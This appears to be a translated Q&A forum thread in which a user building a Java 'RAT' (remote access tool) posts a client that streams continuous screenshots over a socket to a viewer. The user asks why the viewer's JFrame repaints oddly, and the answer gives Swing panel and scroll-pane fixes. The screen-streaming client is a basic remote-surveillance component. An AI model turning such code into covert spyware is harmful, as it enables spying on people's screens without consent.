JFrame打印非常奇怪?

时间:2012-08-07 15:47:28

标签: java image jframe draw paint

我正在尝试创建一个java RAT但是我只有屏幕显示。当我运行它时,它显示JFrame上的屏幕很好,但是它会在每次绘制时将相同的图像拖动得更低,如下所示: screen

客户端:

import java.awt.AWTException;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.io.IOException;
import java.net.Socket;
import java.util.zip.GZIPOutputStream;
import javax.imageio.ImageIO;

public class Client {

    public static void main(String[] args) {
        try {
            Robot robot = new Robot();
            Toolkit toolkit = Toolkit.getDefaultToolkit();
            Rectangle screen = new Rectangle((int) toolkit.getScreenSize().getWidth(), (int) toolkit.getScreenSize().getHeight());
            Socket socket = new Socket("127.0.0.1", 25565);
            GZIPOutputStream out = new GZIPOutputStream(socket.getOutputStream());

            while(socket.isConnected()) {
                ImageIO.write(robot.createScreenCapture(screen), "png", out);
            }
            out.close();
        } catch (AWTException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

服务器:

import java.awt.image.BufferedImage;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.zip.GZIPInputStream;

import javax.imageio.ImageIO;

public class Server {

    public static void main(String[] args) {
        try {
            ServerFrame frame = new ServerFrame();
            ServerSocket serverSocket = new ServerSocket(25565);
            Socket socket = serverSocket.accept();
            GZIPInputStream in = new GZIPInputStream(socket.getInputStream());
            BufferedImage image = null;
            while(socket.isConnected()) {
                image = ImageIO.read(in);
                if(image != null) {
                    frame.setBufferedImage(image);
                }
            }
            in.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

ServerFrame:

import java.awt.Graphics;
import java.awt.image.BufferedImage;

import javax.swing.JFrame;

public class ServerFrame extends JFrame {

    private BufferedImage image;

    public ServerFrame() {
        setTitle("RAT");
        setSize(1920, 1080);
        setVisible(true);
        image = null;
    }

    public void setBufferedImage(BufferedImage image) {
        this.image = image;
        this.repaint();
    }

    public void paint(Graphics g) {
        if(image != null) {
            g.drawImage(image, 0, 0, this);
        }
    }
}

1 个答案:

答案 0 :(得分:0)

出于某种原因,当您在g.drawImage(image, 0, 0, this);中进行绘制时,JFrame行中的屏幕截图绘制开始向上滑动并在您查看最大化的帧时离开。

尝试从ServerFrame扩展JPanel并将其添加到JFrame,这样您就可以在左上角找到一个锚点。您也可以在其中添加JScrollPane,以便您可以使用屏幕截图导航整个面板。

这是我用来复制你的情况的代码,只要按下一个键,它就会捕获屏幕。我将ServerFrame课程重命名为ScreenCapture

希望它有所帮助。

import java.awt.AWTException;
import java.awt.Graphics;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.event.KeyEvent;
import java.awt.event.KeyListener;
import java.awt.image.BufferedImage;

import javax.swing.JFrame;
import javax.swing.JPanel;

public class ScreenCapture extends JPanel implements KeyListener {

    private BufferedImage image;

    public ScreenCapture() {
        setSize(1920, 1080);
        setVisible(true);
        image = null;       
    }

    public void setBufferedImage() throws AWTException {
        Robot robot = new Robot();
        Toolkit toolkit = Toolkit.getDefaultToolkit();
        Rectangle screen = new Rectangle((int) toolkit.getScreenSize().getWidth(), (int) toolkit.getScreenSize().getHeight());
        this.image = robot.createScreenCapture(screen);
        this.repaint();
    }

    public void paint(Graphics g) {
        if (image != null) {
            g.drawImage(image, 0, 0, this);
        }
    }

    @Override
    public void keyTyped(KeyEvent e) {}

    @Override
    public void keyPressed(KeyEvent e) {
        try {
            setBufferedImage();
        } catch (AWTException e1) {
            e1.printStackTrace();
        }
    }

    @Override
    public void keyReleased(KeyEvent e) {}

    public static void main(String [] args) {
        ScreenCapture capture = new ScreenCapture();

        JFrame frame = new JFrame();
        frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
        frame.addKeyListener(capture);
        frame.add(capture);
        frame.setSize(500, 500);
        frame.setVisible(true);
    }
}

修改

这是用JScollPane包装图像的一段代码。

import java.awt.AWTException;
import java.awt.BorderLayout;
import java.awt.Graphics;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.event.KeyEvent;
import java.awt.event.KeyListener;
import java.awt.image.BufferedImage;

import javax.swing.ImageIcon;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.JScrollPane;

public class ScreenCapture extends JLabel implements KeyListener {

    private BufferedImage image;

    public ScreenCapture() {
        setSize(1920, 1080);
        setVisible(true);
        image = null;
    }

    public void setBufferedImage() throws AWTException {
        Robot robot = new Robot();
        Toolkit toolkit = Toolkit.getDefaultToolkit();
        Rectangle screen = new Rectangle((int) toolkit.getScreenSize()
                .getWidth(), (int) toolkit.getScreenSize().getHeight());
        this.image = robot.createScreenCapture(screen);
        this.setIcon(new ImageIcon(this.image));
        this.repaint();
    }

    @Override
    public void keyTyped(KeyEvent e) {
    }

    @Override
    public void keyPressed(KeyEvent e) {
        try {
            setBufferedImage();
        } catch (AWTException e1) {
            e1.printStackTrace();
        }
    }

    @Override
    public void keyReleased(KeyEvent e) {
    }

    public static void main(String[] args) {
        JPanel panel = new JPanel();
        panel.setLayout(new BorderLayout());

        ScreenCapture capture = new ScreenCapture();
        JScrollPane scroll = new JScrollPane();
        scroll.getViewport().add(capture);
        panel.add(scroll, BorderLayout.CENTER);

        JFrame frame = new JFrame();
        frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
        frame.getContentPane().add(panel);
        frame.addKeyListener(capture);
        frame.setSize(500, 500);
        frame.setVisible(true);
    }
}